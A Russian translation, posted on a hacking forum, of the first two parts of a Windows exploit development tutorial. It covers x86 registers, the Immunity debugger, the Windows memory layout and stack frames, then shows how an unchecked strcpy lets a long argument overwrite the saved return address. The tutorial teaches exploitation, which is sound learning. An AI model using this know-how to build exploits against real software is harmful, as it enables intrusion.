• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга Руководство по основам Windows Exploit Development

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Добро пожаловать в первую часть серии статей о разработке эксплоитов Windows. В этой первой части я расскажу только об основах, необходимых для понимания содержания будущих публикаций, включая некоторый синтаксис ассемблера, структуру памяти Windows и использование отладчика. Это не будет всестороннее обсуждение по любой из этих тем, поэтому, если вы не знакомы с ассемблером или если что-то неясно после прочтения этого первого поста, я призываю вас взглянуть на различные ссылки на ресурсы, которые я предоставил на протяжении курса.

Мой план для оставшейся части этой серии состоит в том, чтобы пройтись по различным темам эксплоитов, от простых (прямая перезапись EIP) до более сложных (юникод, поиск яиц, обход ASLR, распыление кучи, эксплоиты драйверов устройств и так далее), используя реальные эксплоиты чтобы продемонстрировать каждый. Я действительно не знаю когда закончу этот курс, поэтому, когда я думаю о других темах, я просто буду продолжать писать статьи.

Назначение

Моя цель этой серии публикаций - представить концепции поиска и написания эксплоитов для приложений Windows в надежде, что специалисты по безопасности и ИТ, которые не имели большого технического знакомства с этими концепциями, могут заинтересоваться безопасностью программного обеспечения и применить свои навыки чтобы сделать программное обеспечение частного и общественного достояния более безопасным. Отказ от ответственности: Если вы человек, который хочет создавать эксплоиты для участия в незаконной или аморальной деятельности, покиньте эту страницу.

Я должен также упомянуть, что эти посты не предназначены для конкуренции с другими великолепными туториалами, такими как Corelan Team (https://www.corelan.be), The Grey Corner (http://www.thegreycorner.com/) и Fuzzy Security (http://www.fuzzysecurity.com/tutorials.html). Вместо этого, они призваны дополнить их и предоставить еще один ресурс для объяснений и примеров - если вы похожи на меня, у вас никогда не будет слишком много примеров. Я настоятельно рекомендую вам проверить эти другие замечательные сайты.

Что нам нужно?

Вот что вам нужно, если вы хотите следовать курсу:

- Установка Windows: Я планирую начать с Windows XP с пакетом обновления 3 (SP3), но по мере продвижения и освещения различных тем/эксплоитов я также могу использовать другие версии, включая Windows 7 и Windows Server 2003/2008.

- Отладчик: На хосте Windows вам также понадобится отладчик. В первую очередь я буду использовать Immunity Debugger, который вы можете скачать здесь (http://debugger.immunityinc.com/ID_register.py). Вы также должны получить плагин Мона, который можно найти здесь (http://redmine.corelan.be/projects/mona). Я также буду использовать WinDbg для некоторых моих примеров. Инструкции по загрузке можно найти здесь (https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/?redirectedfrom=MSDN) (прокрутите страницу вниз для более ранних версий Windows).

- Хост Backtrack/Kali (необязательно): я использую Kali для всех своих сценариев, а также планирую использовать его в качестве "атакующей машины' во всех примерах удаленноЙ эксплуатации, которые я использую. Я планирую использовать Perl и Python для большинства моих сценариев, поэтому вы можете вместо этого установить любую языковую среду на хост Windows.

Начало работы с Immunity Debugger

Давайте начнем с рассмотрения отладчика, поскольку мы потратим немало времени на его использование в этих туториалах. Я собираюсь в первую очередь использовать отладчик Immunity, потому что он бесплатный и имеет некоторые плагины и настраиваемые возможности сценариев, которые я планирую выделить по мере продвижения.

Я буду использовать Windows Media Player в качестве примера программы для представления отладчика Immunity. Если вы хотите продолжить, откройте Windows Media Player и отладчик Immunity. В Immunity нажмите File -> Attach и выберите имя приложения/процесса (в моем примере, wmplayer). Примечание: вы также можете запустить WMP напрямую из Immunity, щелкнув File -> Open и выбрав исполняемый файл.

1.jpg


После того, как вы запустили исполняемый файл или присоединились к процессу в Immunity, вы должны перейти в представление центрального процессора (если его нет, нажмите Alt + C), которое выглядит так:

2.jpg


Когда вы запускаете/присоединяетесь к программе с помощью Immunity, она запускается в состоянии паузы (смотри правый нижний угол). Для запуска программы вы можете нажать F9 (или кнопку воспроизведения на панели инструментов). Чтобы перейти к следующей инструкции (но приостановить выполнение программы), нажмите F7. Вы можете использовать F7 для пошагового выполнения каждой инструкции. Если в любой момент вы хотите перезапустить программу, нажмите Ctrl + F2. Я не буду предоставлять полное руководство по использованию Immunity, но я постараюсь упомянуть любые соответствующие ярлыки и горячие клавиши, поскольку я представляю новые концепции в этой и будущих публикациях.

Как вы можете видеть, окно центрального процессора разбито на четыре панели, отображающие следующую информацию:

- Инструкции центрального процессора - отображает адрес памяти, опкоды и ассемблерные инструкции, дополнительные комментарии, названия функций и другую информацию, связанную с инструкциями центрального процессора.

- Регистры - отображает содержимое регистров общего назначения, указатель команд и флаги, связанные с текущим состоянием приложения.

- Стек - показывает содержимое текущего стека

- Дамп памяти - показывает содержимое памяти приложения

Давайте рассмотрим каждый из них более подробно, начиная с регистров.

Регистры центрального процессора

Регистры центрального процессора служат небольшими областями хранения, используемыми для быстрого доступа к данным. В архитектуре x86 (32-разрядной) имеется 8 регистров общего назначения: EAX, EBX, ECX, EDX, EDI, ESI, EBP и ESP. Технически они могут использоваться для хранения любых данных, хотя изначально они были спроектированы для выполнения конкретных задач, и во многих случаях до сих пор используются таким образом сегодня.

3.png


Вот немного подробной информации про каждый

EAX — Регистр аккумулятор

Он называется регистром аккумулятора, потому что это основной регистр, используемый для общих вычислений (таких как ADD и SUB). В то время как другие регистры могут использоваться для расчетов, регистру EAX был присвоен статус привилегированного, назначив ему более эффективные однобайтовые коды операций. Такая эффективность может быть важна, когда речь идет о написании эксплоита шеллкода для ограниченного доступного буферного пространства (подробнее об этом в будущих уроках!). В дополнение к его использованию в вычислениях, регистр EAX также используется для хранения возвращаемого значения функции.

На этот регистр общего назначения можно ссылаться полностью или частично следующим образом: регистр EAX относится к 32-битному регистру в целом. Регистр AX относится к наименее значимым 16 битам, которые могут быть дополнительно разбиты на AH (8 старших значащих бит AX) и AL (8 младших значащих бит).

Вот базовое визуальное представление:

4.png


Такое же полное/частичное 32-, 16- и 8-битное обращение также относится к следующим трем регистрам (EBX, ECX и EDX)

EBX — Регистр Базы

В 32-битной архитектуре, у регистра EBX нет особой цели, поэтому просто представьте, что это универсальное решение для доступного хранилища. Как и регистра EAX, на него можно ссылаться полностью (EBX) или частично (BX, BH, BL).

ECX - Регистр Счетчик

Как следует из названия, регистр счетчика часто используется в качестве счетчика повторений цикла и функции, хотя его также можно использовать для хранения любых данных. Как и регистр EAX, на него можно ссылаться полностью (ECX) или частично (CX, CH, CL).

EDX - Регистр Данных

EDX напоминает регистр регистр EAX. Он часто используется в математических операциях, таких как деление и умножение, чтобы справиться с переполнением, когда самые старшие биты будут храниться в регистре EDX, а наименее значимые - в регистре EAX. Он также обычно используется для хранения переменных функций. Как и регистр EAX, на него можно ссылаться полностью (EDX) или частично (DX, DH, DL).

ESI - Регистр Индекса Источника

В отличие от регистра EDI, регистр ESI часто используется для хранения указателя на место чтения. Например, если функция предназначена для чтения строки, регистр ESI будет содержать указатель на местоположение этой строки.

EDI - Регистр Индекса Назначения

Хотя он может быть (и используется) для общего хранения данных, регистр EDI был в первую очередь предназначен для хранения указателей хранения функций, таких как адрес записи строковой операции.

EBP - Указатель Базы

Регистр EBP используется для отслеживания базы/дна стека. Он часто используется для ссылки на переменные, расположенные в стеке, используя смещение к текущему значению регистра EBP, хотя, если на параметры ссылается только регистр, вы можете использовать регистр EBP для общих целей.

ESP - указатель стека

Регистр ESP используется для отслеживания вершины стека. По мере перемещения данных в стек и из стека регистр ESP соответственно увеличивается/уменьшается. Из всех регистров общего назначения регистр ESP редко/никогда не используется ни для чего, кроме его предназначения.

Указатель инструкций (EIP)

Не регистр общего назначения, но подходящий для этого, регистр EIP указывает на адрес памяти следующей инструкции, которая будет выполнена центральным процессором. Как вы увидите в следующих уроках, управляя значением регистра EIP, и вы сможете контролировать ход выполнения приложения (для выполнения кода по вашему выбору).

Сегментные регистры и регистр EFLAGS

5.png


Есть два дополнительных регистра, которые вы увидите на панели регистров: регистр сегментов и регистр EFLAGS. Я не буду подробно останавливаться на этом, но упомяну, что регистр EFLAGS состоит из серии флагов, представляющих логические значения, полученные в результате вычислений и сравнений, и может использоваться для определения того, когда и следует ли выполнять условные переходы (подробнее об этом позже).

Для получения дополнительной информации о регистрах центрального процессора, проверьте эти ресурсы:


Дамп памяти


Если перейти к панели Memory Dump в представлении центрального процессора, это просто место, где вы можете просмотреть содержимое ячейки памяти. Например, допустим, вы хотели просмотреть содержимое памяти регистра ESP, которое на следующем снимке экрана указывает на адрес 0007FF0C. Щелкните правой кнопкой мыши на ESP, выберите "Follow in Dump", и на панели Memory Dump отобразится это место.

6.png


Инструкции процессора

Как вы, наверное, знаете, большинство приложений сегодня написаны на языке высокого уровня (C, C++ и так далее). Когда приложение компилируется, эти инструкции языка высокого уровня переводятся в ассемблер, который имеет соответствующий опкод, чтобы помочь в дальнейшем преобразовать инструкцию в то, что машина может понять (машинный код). В отладчике вы можете просмотреть каждую ассемблерную инструкцию (и соответствующий опкод), обрабатываемый центральным процессором. Примечание: Для серии эксплойтов Windows я буду использовать синтаксис Intel на языке ассемблера x86 (http://en.wikipedia.org/wiki/X86_assembly_language#Syntax).

Вы можете пошагово проходить последовательность выполнения программы (F7) и видеть результат каждой инструкции процессора. Давайте посмотрим на первый набор инструкций для Windows Media Player. Программа начинается с паузы. Нажмите F7 несколько раз, чтобы выполнить первые несколько инструкций, пока не дойдете до второй инструкции MOV DWORD PTR SS: (выделено на скриншоте ниже). Инструкция MOV копирует элемент данных из одного места в другое.

7.png


Эта инструкция собирается переместить содержимое регистра EBX в область адреса памяти, на которую указывает регистр EBP - 18 (помните, что с синтаксисом Intel x86 это MOV [DST] [SRC]). Обратите внимание, что регистр EBP (указатель базы стека) указывает на адрес 0007FFC0. Используя калькулятор Windows или Mac (в научном/программном режиме), рассчитайте адрес 0007FFC0 - 0x18. Результат должен быть 0x7FFA8, что означает, что содержимое регистра EBP будет помещено в расположение адреса 0007FFA8. На самом деле, вам не нужно рассчитывать это вне Immunity. Обратите внимание на подокно в нижней части панели команд процессора. Оно уже сообщает вам значение регистра EBX, а также значение 0007FFC0 - 0x18 и текущее содержимое этой ячейки памяти (F4C47D04). Вы можете щелкнуть правой кнопкой мыши по строке "Stack" в этом подокне и выбрать "Follow address in Dump", чтобы проверить содержимое этой ячейки памяти.

8.png


Теперь снова нажмите F7, чтобы выполнить инструкцию. Обратите внимание, что ячейка памяти 0007FFA8 теперь имеет значение 00000000, поскольку содержимое регистра EBX было перемещено туда.

9.png


Это был лишь быстрый пример того, как вы можете следить за выполнением каждой инструкции центрального процессора в Immunity. Вот еще несколько общих инструкций по ассемблеру и синтаксису, с которыми вы можете столкнуться:

- ADD/SUB OP1, OP2 - добавить или вычесть два операнда, сохраняя результат в первом операнде. Это могут быть регистры, ячейки памяти (не более одного) или константы. Например, ADD EAX, 10 означает добавить 10 к значению EAX и сохранить результат в EAX

- XOR EAX, EAX - выполняет "исключающее или" регистра с самим собой - устанавливает его значение в ноль; простой способ очистки содержимого реестра

- INC/DEC OP1– увеличивать или уменьшать значение операнда на единицу

- CMP OP1, OP2 - сравнить значение двух операндов (регистр/адрес памяти/ константа) и установить соответствующее значение EFLAGS.

- Переход (JMP) и условный переход (JE, JZ и так далее) - как следует из названия, эти инструкции позволяют переходить в другое место в потоке выполнения/наборе команд. Инструкция JMP просто переходит в определенное место, тогда как условные переходы (JE, JZ и так далее) выполняются только при соблюдении определенных критериев (с использованием значений регистра EFLAGS, упомянутых ранее). Например, вы можете сравнить значения двух регистров и перейти к месту, если они оба равны (использует инструкцию JE и нулевой флаг (ZF) = 1).

- Когда вы видите значение в скобках, такое как ADD DWORD PTR [X] или MOV EAX, [EBX], оно ссылается на значение, сохраненное по адресу памяти X. Другими словами, EBX относится к содержимому EBX, тогда как [EBX] относится к значению, хранящемуся по адресу памяти в EBX.

- Соответствующие ключевые слова размера: BYTE = 1 байт, WORD = 2 байта, DWORD = 4 байта.

Я, конечно, не эксперт, но когда дело доходит до понимания и, в конечном итоге, разработки собственного кода эксплоТта, вы должны иметь довольно твердое понимание ассемблера. По мере продвижения я буду обсуждать еще несколько инструкций ассемблера, но я не планирую углубленно освещать язык ассемблера, поэтому, если вам понадобится переподготовка, есть множество хороших онлайн-ресурсов, включая:

- x86 Assembly Guide
- Sandpile.org
- The Art of Assembly Language Programming
- Windows Assembly Language Megaprimer

Если вы хотите приобрести книгу, вы можете подумать об этой- Hacking: The Art of Exploitation, которая не только охватывает основы ассемблера, но и помогает в написании эксплоитов (хотя в основном в среде Linux).

В этой серии постов я постараюсь объяснить все примеры кода, которые я использую, поэтому, если у вас есть хотя бы какое-то базовое понимание ассемблера, вам будет хорошо.

Раскладка памяти Windows

Прежде чем мы поговорим о стеке, я хочу кратко рассказать о структуре памяти процесса Win32. Я должен сказать заранее, что это будет введение очень высокого уровня и не будет охватывать такие понятия, как рандомизация адресного пространства (ASLR), трансляция виртуальных адресов в физические, пейджинг, расширение физических адресов и так далее. Я планирую осветить некоторые из этих тем в следующей части, но сейчас я хочу, чтобы все было очень просто.

Во-первых, с отладчиком Immunity, подключенным к Windows Media Player, взгляните на карту памяти, нажав ALT + M (в качестве альтернативы вы можете выбрать View->Memory или щелкнуть значок "M" на панели инструментов).

Вам должно быть представлено что-то похожее на следующее (точные записи могут отличаться):

10.png


Это раскладка памяти wmplayer.exe, включая стек, кучу, загруженные модули (DLL) и сам исполняемый файл.Я представлю каждый из этих элементов более подробно, используя слегка упрощенную версию карты памяти, которую можно найти в великолепном вводном учебном пособии Корелана по переполнению стека, которое я сопоставил с картой памяти отладчика Immunity проигрывателя Windows Media.

11.png


Давайте продолжим работу снизу, начиная с части памяти от 0xFFFFFFFF до 0x7FFFFFFF, которую часто называют "уровнем ядра".

Уровень Ядра

Эта часть памяти зарезервирована ОС для драйверов устройств, системного кэша, выгружаемого/невыгружаемого пула, HAL и так далее. У пользователя нетт доступа к этой части памяти. Примечание: для подробного объяснения управления памятью в Windows вам следует ознакомиться с книгами по внутренним компонентам Windows (в настоящее время это два тома).

PEB и TEB

Когда вы запускаете программу/приложение, запускается экземпляр этого исполняемого файла, известного как процесс. Каждый процесс предоставляет ресурсы, необходимые для запуска экземпляра этой программы. Каждый процесс Windows имеет структуру исполнительного процесса (EPROCESS), которая содержит атрибуты процесса и указатели на связанные структуры данных. Хотя большинство этих структур EPROCESS находятся в ядре, блок Process Environment Block (PEB) находится в доступной для пользователя памяти. PEB содержит различные параметры пользовательского режима о запущенном процессе. Вы можете использовать WinDbg, чтобы легко изучить содержимое PEB, введя команду !peb.


12.png


Как видите, PEB включает в себя такую информацию, как базовый адрес образа (исполняемый файл), расположение кучи, загруженные модули (DLL) и переменные среды (операционная система, соответствующие пути и так далее). Посмотрите на ImageBaseAddress на приведенном выше скриншоте WinDbg. Обратите внимание на адрес 01000000. Теперь вернитесь к предыдущей диаграмме карты памяти Win32 и обратите внимание, что это значение совпадает с самым первым адресом в callout отладчика Immunity в блоке "Образа программы". Вы можете сделать то же самое для адреса кучи и связанных DLL.

Небольшое примечание о файлах символов ... особенно полезно загружать соответствующие файлы символов при отладке приложений Windows, поскольку они предоставляют полезную описательную информацию для функций, переменных и так далее. Вы можете сделать это в WinDbg, перейдя в "File –> Symbol File Path…". Следуйте инструкциям, найденным здесь: http://support.microsoft.com/kb/311503. Вы также можете загрузить файлы символов в Immunity, перейдя в "Debug –> Debugging Symbol Options".

Более подробную информацию обо всей структуре PEB можно найти здесь (http://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx).

Программа или процесс может иметь один или несколько потоков, которые служат базовым модулем, которому операционная система выделяет процессорное время. Каждый процесс начинается с одного потока (основного потока), но может создавать дополнительные потоки по мере необходимости. Все потоки используют одно и то же виртуальное адресное пространство и системные ресурсы, выделенные родительскому процессу. Каждый поток также имеет свои собственные ресурсы, включая обработчики исключений, приоритеты, локальное хранилище и так далее. Как и у каждой программы/процесса есть PEB, так и у каждого потока есть блок среды потока (TEB). TEB хранит контекстную информацию для загрузчика образа и различных библиотек DLL Windows, а также расположение списка обработчиков исключений (о чем мы подробно расскажем в следующем посте). Как и PEB, TEB находится в адресном пространстве процесса, поскольку компоненты пользовательского режима требуют доступа с возможностью записи.

Вы также можете просматривать TEB с помощью WinDbg.

13.png


Более подробную информацию о всей структуре TEB можно найти здесь (http://msdn.microsoft.com/en-us/library/windows/desktop/ms686708(v=vs.85).aspx), а более подробную информацию о процессах и потоках можно найти здесь (http://msdn.microsoft.com/en-us/library/windows/desktop/ms681917(v=vs.85).aspx).

DLL

Программы Windows используют преимущества библиотек с общим кодом, которые называются динамическими библиотеками (DLL), что обеспечивает эффективное повторное использование кода и распределение памяти. Эти библиотеки DLL (также известные как модули или исполняемые модули) занимают часть пространства памяти. Как показано на скриншоте карты памяти, вы можете просмотреть их в Immunity в представлении Memory (Alt + M) или, если вы хотите просматривать только DLL, вы можете выбрать представление Executable Module (Alt + E). Существуют модули ОС/системы (ntdll, user32 и так далее), А также модули для конкретных приложений, и последние часто полезны при создании эксплоитов с переполнением (будет рассмотрено в будущих публикациях).

Вот скриншот представления "Памяти" в "Immunity":

14.png


Образ программы

Часть памяти образа программы находится там, где находится исполняемый файл. Это включает в себя секцию .text (содержащий исполняемый код/инструкции центрального процессора), секцию .data (содержащий глобальные данные программы) и секцию .rsrc (содержит неисполняемые ресурсы, включая значки, изображения и строки).

Куча

Куча - это динамически выделяемая (например c помощью функции malloc()) часть памяти, которую программа использует для хранения глобальных переменных. В отличие от стека, выделение кучи памяти должно управляться приложением. Другими словами, эта память будет выделяться до тех пор, пока она не будет освобождена программой или сама программа не завершит работу. Вы можете думать о куче как об общем пуле памяти, тогда как стек, о котором мы поговорим далее, более организован и разделен. Я пока не буду слишком углубляться в кучу, но планирую рассказать об этом позже в статье о переполнении кучи.

Стек

В отличие от кучи, где выделение памяти для глобальных переменных является относительно произвольным и постоянным, стек используется для выделения краткосрочного хранилища для локальных (функций/методов) переменных упорядоченным образом, и эта память впоследствии освобождается по окончании заданного функция. Вспомните, как данный процесс может иметь несколько потоков. Каждому потоку/функции выделяется свой собственный кадр стека. Размер этого стекового фрейма фиксируется после создания, а стековый фрейм удаляется при завершении функции.

PUSH и POP

Прежде чем мы рассмотрим, как функции назначается кадр стека, давайте кратко рассмотрим некоторые простые инструкции PUSH и POP, чтобы вы могли увидеть, как данные помещаются в стек и удаляются из него. Стек - это структура "первым пришел - первым вышел" (LIFO), то есть последний элемент, который вы положили в стек, - это первый элемент, который вы снимаете. Вы "кладете" предметы на вершину стека и "выталкиваете" предметы с верха стека.
Давайте посмотрим на это в действии …

На следующем снимке экрана вы увидите ряд инструкций PUSH на панели инструкций ЦП (вверху слева), каждая из которых будет принимать значение из одного из регистров (верхняя правая панель) и помещать это значение поверх стека (нижняя правая панель).

Давайте начнем с первой инструкции PUSH (PUSH ECX).

15.png


Обратите внимание на значение регистра ECX, а также адрес и значение вершины стека (нижний правый угол предыдущего снимка экрана). Теперь инструкция PUSH ECX выполняется …

16.png


После первой инструкции PUSH ECX значение из регистра ECX (адрес 0012E6FC) было помещено в верхнюю часть стека (как показано на снимке экрана выше). Обратите внимание, как адрес вершины стека уменьшился на 4 байта (с 0012E650 до 0012E64C). Это иллюстрирует, как стек растет вверх к более низким адресам, когда элементы помещаются в него. Также обратите внимание, что регистр ESP указывает на вершину стека, а регистр EBP указывает на основание этого кадра стека. На следующих снимках экрана вы заметите, что регистр EBP (базовый указатель) остается постоянным, в то время как регистр ESP (указатель стека) смещается по мере роста и сжатия стека. Теперь будет выполнена вторая инструкция PUSH ECX ...

17.png


Еще раз, значение из регистра ECX (0012E6FC) было помещено в вершину стека, регистр ESP скорректировал его значение еще на 4 байта, и, как вы можете видеть на скриншоте выше, последняя инструкция PUSH (PUSH EDI) вот-вот будет выполнена.

18.png


Теперь значение из регистра EDI (41414139) было перенесено в верхнюю часть стека, и вскоре должна быть выполнена следующая инструкция в списке (инструкция MOV), а значение регистра EDI изменилось. Давайте перейдем к инструкции POP EDI, чтобы показать, как элементы удаляются из стека. В этом случае текущее значение на вершине стека (41414139) будет вытолкнуто и помещено в EDI.

19.png


20.png



Как видите, значение EDI изменилось обратно на 41414139 после инструкции POP. Теперь, когда у вас есть представление о том, как манипулировать стеком, давайте посмотрим, как создаются фреймы стека для функций и как локальные переменные помещаются в стек. Понимание этого будет иметь решающее значение, когда мы перейдем к переполнению на основе стека во второй части этой серии.

Фреймы стека и функции

Когда выполняется программная функция, создается стековый фрейм для хранения ее локальных переменных. Каждая функция получает свой собственный кадр стека, который помещается поверх текущего стека и заставляет стек увеличиваться вверх до более низких адресов.

Каждый раз, когда создается кадр стека, выполняется серия инструкций для сохранения аргументов функции и адреса возврата (чтобы программа знала, куда идти после завершения функции), сохранения базового указателя текущего кадра стека и резервирования места для любые локальные переменные функции. [примечание: я намеренно опускаю обработчики исключений для этого базового обсуждения, но расскажу о них в следующем посте].

Давайте посмотрим на создание стекового фрейма с помощью одной из самых простых функций, которые я смог найти (из Википедии):

21.png


Этот код просто вызывает функцию foo(), передавая ей один параметр аргумента командной строки (argv [1]). Затем функция foo() объявляет переменную c длиной 12, которая резервирует необходимое место в стеке для хранения argv [1]. Затем он вызывает функцию strcpy(), которая копирует значение argv[1] в переменную c. Как говорится в комментарии, проверка границ не выполняется, поэтому использование strcpy может привести к переполнению буфера, что я продемонстрирую во второй части этой серии. А пока давайте просто сосредоточимся на том, как эта функция влияет на стек.

Я скомпилировал эту программу c (как stack_demo.exe), используя командную строку Visual Studio (2010), чтобы точно показать, как она выглядит при выполнении в отладчике. Вы можете запустить программу с аргументами командной строки непосредственно из отладчика Immunity, выбрав File–> Open (или просто нажав F3), выбрав свой исполняемый файл и введя аргументы командной строки в данное поле.

22.png


Для этого примера я просто использовал 11 символов А для argv[1].[Мы рассмотрим, что происходит, когда вы используете более 11 символов во второй части!]

Поскольку адреса могут меняться, лучший способ найти наш соответствующий программный код - выбрать "Просмотр" -> "Исполняемые модули" (или Alt + E). Затем дважды щелкните по модулю stack_demo.exe (или как вы назвали свой .exe).

23.png


Это должно привести вас к следующему:

24.png


Первая строка, которую вы видите - это начало функции foo(), но сначала мы рассмотрим main().Я установил несколько точек останова, чтобы помочь пройти по коду (обозначен голубым цветом), и вы можете сделать то же самое, выбрав нужный адрес и нажав F2. Давайте посмотрим на main () …

Хотя main () не делает ничего, кроме вызова функции foo(), есть пара вещей, которые должны произойти в первую очередь, как вы увидите в отладчике. Во-первых, он помещает содержимое Argv [1] (AAAAAAAAAAAAA) в стек. Затем, когда вызывается функция foo(), адрес возврата сохраняется в стеке, поэтому выполнение программы может возобновиться в нужном месте после завершения функции foo().

Посмотрите на скриншот с Immunity, который я прокомментировал соответствующим образом - просто обратите внимание на то, что сейчас в красной рамке; Я расскажу о некоторых других инструкциях в ближайшее время. Вы увидите, что указатель на argv[1] помещается в стек непосредственно перед вызовом функции foo(). Затем выполняется инструкция CALL, и адрес возврата следующей инструкции (EIP + 4) также помещается в стек.


25.png


Если вы хотите доказать, что адрес 00332FD4 содержит 0033301C, который является указателем на argv [1], обратитесь к содержимому дампа этого адреса:

26.png


Вы увидите содержимое, написанное задом наперед как 1C303300. Позвольте мне воспользоваться этой возможностью, чтобы быстро охватить нотацию Little Endian. "Endianness" относится к порядку, в котором байты хранятся в памяти. Системы на базе Intel x86 используют нотацию Little Endian, в которой младший байт значения хранится по наименьшему адресу памяти (поэтому адрес хранится в обратном порядке). В качестве примера смотри приведенный выше снимок экрана с шестнадцатеричным дампом: адрес вверху (00332FD4) самый маленький, а адрес внизу (00333034) самый большой. Таким образом, байт в верхнем левом углу (в настоящее время занятый 1C) занимает наименьшее расположение адреса, и адреса увеличиваются при перемещении слева направо и сверху вниз. Когда вы смотрите на адрес, такой как 0033301C, младший байт - это байт (1C). Чтобы преобразовать его в нотацию с прямым порядком байтов, вы переупорядочиваете его по одному байту справа налево. Вот изображение:

27.png


Итак, argv [1] и адрес возврата теперь помещены в стек, и была вызвана функция foo(). Вот посмотрите на стек с выделенными соответствующими частями.

28.png


Обратите внимание на указатель на argv[1] по адресу 0012FF74 и прямо над ним сохраненное значение RETURN. Если вы вернетесь к предыдущему снимку экрана main(), вы заметите, что адрес RETURN 0040103F является следующей инструкцией после CALL foo(), где выполнение программы будет возобновлено после завершения foo().

Теперь давайте посмотрим на функцию foo():

29.png


Когда вызывается функция foo(), первое, что происходит - текущий базовый указатель (EBP) сохраняется в стеке с помощью инструкции PUSH EBP, чтобы после завершения функции можно было восстановить базу стека для main().

Затем регистр EBP устанавливается равным регистру ESP (через инструкцию MOV EBP, ESP), делая верх и низ стека фрейма равными. Отсюда, регистр EBP останется постоянным (на весь срок действия функции foo), а регистр ESP увеличится до более низкого адреса, когда данные будут добавлены в кадр стека функции. Вот просмотр регистров до и после, показывающий, что регистр EBP теперь равен регистр ESP.

30.png


Далее, место зарезервировано для локальной переменной c (char c [12]) с помощью следующей инструкции: SUB ESP, 10.

Вот просмотр стека после этой серии инструкций:

31.png


Обратите внимание, как вершина стека (и, как следствие, ESP) изменилась с 0012FF6C на 0012FF5C.

Давайте перейдем к вызову strcpy(), который скопирует содержимое argv [1](AAAAAAAAAAAAA) в пространство, которое было только что зарезервировано в стеке для переменной c. Посмотрите на функцию в отладчике. Я выделил только ту часть, которая выполняет запись в стек.

32.png


На следующих снимках экрана вы заметите, что он продолжает перебирать значение argv[1], записывая в зарезервированное пространство в стеке (сверху вниз зарезервированное пространство), пока не будет записан весь argv [1] в стек.

33.png


Прежде чем мы рассмотрим, что происходит со стеком, когда функция завершается, вот еще один пошаговый наглядный пример, который подкрепляет шаги, выполняемые при вызове функции foo().


344.png


После того, как функция strcpy() завершена и функция foo() готова к завершению, в стеке должна произойти некоторая очистка. Давайте посмотрим на стек, поскольку функция foo() готовится к завершению, и выполнение программы возвращается к main ().

35.png


Как видите, первая выполняемая инструкция - это MOV ESP, EBP, которая помещает значение регистр EBP в регистр ESP, так что теперь он указывает на 0012FF6C, и эффективно удаляет переменную c (AAAAAAAAAAA) из стека. Вершина стека теперь содержит сохраненный EBP:

36.png


Когда следующая инструкция, POP EBP, будет выполнена, она восстановит предыдущий базовый указатель стека из main() и увеличит ESP на 4. Указатель стека теперь указывает на значение RETURN, помещенное в стек непосредственно перед вызовом foo (). Когда инструкция RETN выполнена, она вернет поток выполнения программы к следующей инструкции в main() сразу после инструкции CALL foo(), как показано на снимке экрана ниже.

37.png


Функция main() выполнит свою собственную очистку, переместив указатель стека вниз по стеку (увеличив его значение на 4) и очистив стек argv[1]. Затем он очистит регистр, который использовался для хранения argv [1] (EAX) через XOR, восстановления сохраненного EBP и возврата к сохраненному обратному адресу.

Этого должно быть достаточно, чтобы понять, как создается/удаляется кадр стека функций и как локальные переменные хранятся в стеке. Если вы хотите больше примеров, я рекомендую вам ознакомиться с некоторыми другими замечательными учебниками (особенно теми, которые опубликованы Кореланом).

Заключение

Это конец первой части серии статей об эксплоитах Windows. Надеемся, что вы уже знакомы с использованием отладчика, можете узнать некоторые основные инструкции ассемблера и понять (на высоком уровне), как Windows управляет памятью, а также как работает стек. В следующем посте мы рассмотрим ту же базовую функцию foo(), чтобы представить концепцию переполнения на основе стека. Затем я сразу же напишу реальный пример использования уязвимости для реального уязвимого программного продукта.

Я надеюсь, что этот первый пост был ясным, точным и полезным. Если у вас есть какие-либо вопросы, комментарии, исправления или предложения по улучшению, не стесняйтесь оставлять мне отзывы в разделе "Комментарии".

Источник: http://www.securitysift.com/windows-exploit-development-part-1-basics/
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)
 
Последнее редактирование:
Руководство по основам Windows Exploit Development. Часть 2. Введение в переполнения на основе стека.

Обзор

Добро пожаловать во вторую часть моей серии Windows Exploit Development. В первом посте, я рассмотрел некоторые базовые концепции, которые следует рассматривать в качестве предварительных условий для продолжения части 2 и других. Если вы этого не сделали, я рекомендую хотя бы бегло взглянуть на первый пост, чтобы убедиться, что вы хорошо понимаете все представленные концепции. Опираясь на эти знания, я хочу поговорить об очень распространенной уязвимости в программном обеспечении Windows: переполнении буфера в стеке.

Введение в переполнения буферов основанных на стеке

В этой статье я собираюсь продолжить, с того момента где мы остановились, с помощью следующей простой программы из Википедии:

1.png


В первой части, я упомянул тот факт, что передача аргумента длиной более 11 символов в функцию strcpy() приведет к переполнению буфера из-за отсутствия проверки границ. Давайте посмотрим, что это значит. Вспомните, как функция strcpy() записывает пользовательский ввод argv[1] в стек следующим образом:

2.png


Это хорошо, если ввод менее 12 символов (размер, выделенный для стека для переменной c в функции foo), но если ввод превышает 11 символов, функция strcpy() продолжит записывать ввод в стек независимо от того, сколько было выделено пространства. (Примечание: в случае, если вам интересно, почему предел ввода символов равен 11, а не 12 символов (поскольку размер переменной равен 12), это потому, что вы должны разместить автоматический терминатор строки.)

Например, если бы мы запустили эту программу с аргументом из 150 букв A, мы бы получили стек, который выглядит следующим образом:
3.png


Как видите, функция strcpy() перезаписала все базовые указатели (сохраненный регистр EBP) и обратные адреса (сохраненный регистр EIP) с помощью argv [1]. Примечание: не беспокойтесь об указателе на следующую запись SEH и обработчике SE - я расскажу о них в следующем посте. Теперь, когда программа перенаправляет выполнение на один из сохраненных адресов регистра EIP, она будет пытаться следовать по адресу 41414141 (AAAA) и вызовет и ошибку/исключение.

4.png


Опять же, это потому, что функция strcpy() не использует проверку границ, поэтому она не проверяет пространство, выделенное для переменной c, и продолжит запись в стек, пока argv[1] не будет записан полностью. Поскольку локальные переменные записываются в стек над сохраненными адресами возврата и другими важными данными, а argv[1] записывается в стек, регистр EIP будет перезаписан буквами A.

5.png


